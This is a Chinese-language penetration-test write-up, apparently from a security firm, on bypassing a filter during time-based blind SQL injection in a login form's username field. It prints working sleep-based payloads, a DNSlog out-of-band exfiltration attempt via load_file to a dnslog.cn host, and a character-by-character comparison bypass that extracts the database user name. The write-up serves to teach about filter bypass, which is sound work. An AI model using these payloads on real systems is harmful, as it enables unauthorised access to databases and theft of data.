SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。本文由锦行科技的安全研究团队提供，旨在帮助客户理解sql注入绕过的问题。

测试背景

在一次测试过程中，发现登陆框的用户名处存在延时注入。

开启bp抓包，随便输入用户名和密码，点击登陆，抓到以下数据包

经测试，Uname参数存在sql延时注入

在后面加上

'and(select*from(select+sleep(5))a)and'a'='

发现延迟10秒

在后面加上

'and(select*from(select+sleep(3))a)and'a'='

发现延迟6秒

根据上面图可知,sleep(5)时，回显时间为10秒；sleep(3)时，回显时间为6秒，明显存在sql注入，猜测数据库做了两次查询或者查到了两条相同的数据。

测试过程

再确定存在注入点之后，之后使用sqlmap来跑数据，发现没办法顺利注入，可能存在拦截或者过滤。所以只能靠手工去测试发现问题。

a. 使用'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'='去测试，发现延迟两秒，说明if函数没有被拦截。

b. 继续使用'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='去测试，发现延迟六秒，说明user函数没有被拦截

c. 继续使用'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='去测试，发现没延迟，说明substr被拦截了，接着我使用mid、substring来替换substr函数均被拦截

d. 继续使用'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='去测试，发现没延迟，说明mid、substring、like被拦截了

看到这些关键函数都没拦截了，通过if截断的方法来测试是没戏了，那就试下通过dnslog外带的方式把数据给带出去。

e. 使用payload:'and(select*from(select+sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'

))))a)and'a'='，发现dnslog平台也没反应

最后经过各种测试，发现通过逐字母比较ascii码的方法能绕过上面所述的代码层的拦截，所以要用如下这种方法绕过。

具体注入payload如下：

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='

用如上payload的意思是比较用户名的第一位的ascii码是不是大于或者等于d的ascii码

Ascii码表如下：

在数据库中测试：

依次从左到右比较ascii码，比如拿select ‘rooT’>’ro’来说，因为它们两的前两位相等，会比较到第三位，rooT的第三位为o,而ro的第三位是空，所以rooT当然大于ro。

测试结论

根据上面情况，我们判断用户名第一位字母的时候，可以分为如下3步

步骤一：

payload:

'and(select*from(select+sleep(if(user()>'c',3,0)))a)and'a'=' ,

延迟为6秒，说明为true，用户名的第一位字母的ascii码对应大于或等于c字母的ascii码，即大于或等于99

步骤二:

当payload为

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'=' ,

延迟为6秒，说明也为true，用户名的第一位字母的ascii码对应大于或等于d字母的ascii码，即大于或等于100

步骤三：

当payload为'and(select*from(select+sleep(if(user()>'e',3,0)))a)and'a'=' ,

延迟为0秒，说明为false，用户名的第一位字母的ascii码对应小于e字母的ascii码，即小于101

最后根据结果分析：

根据步骤二，用户名第一位字母的ascii码大于或者等于100；

根据步骤三,用户名的第一位字母的ascii码小于101，

最后得出用户名第一位字母的ascii码为100，即字母d.

依次类推，最后得出用户名为dctok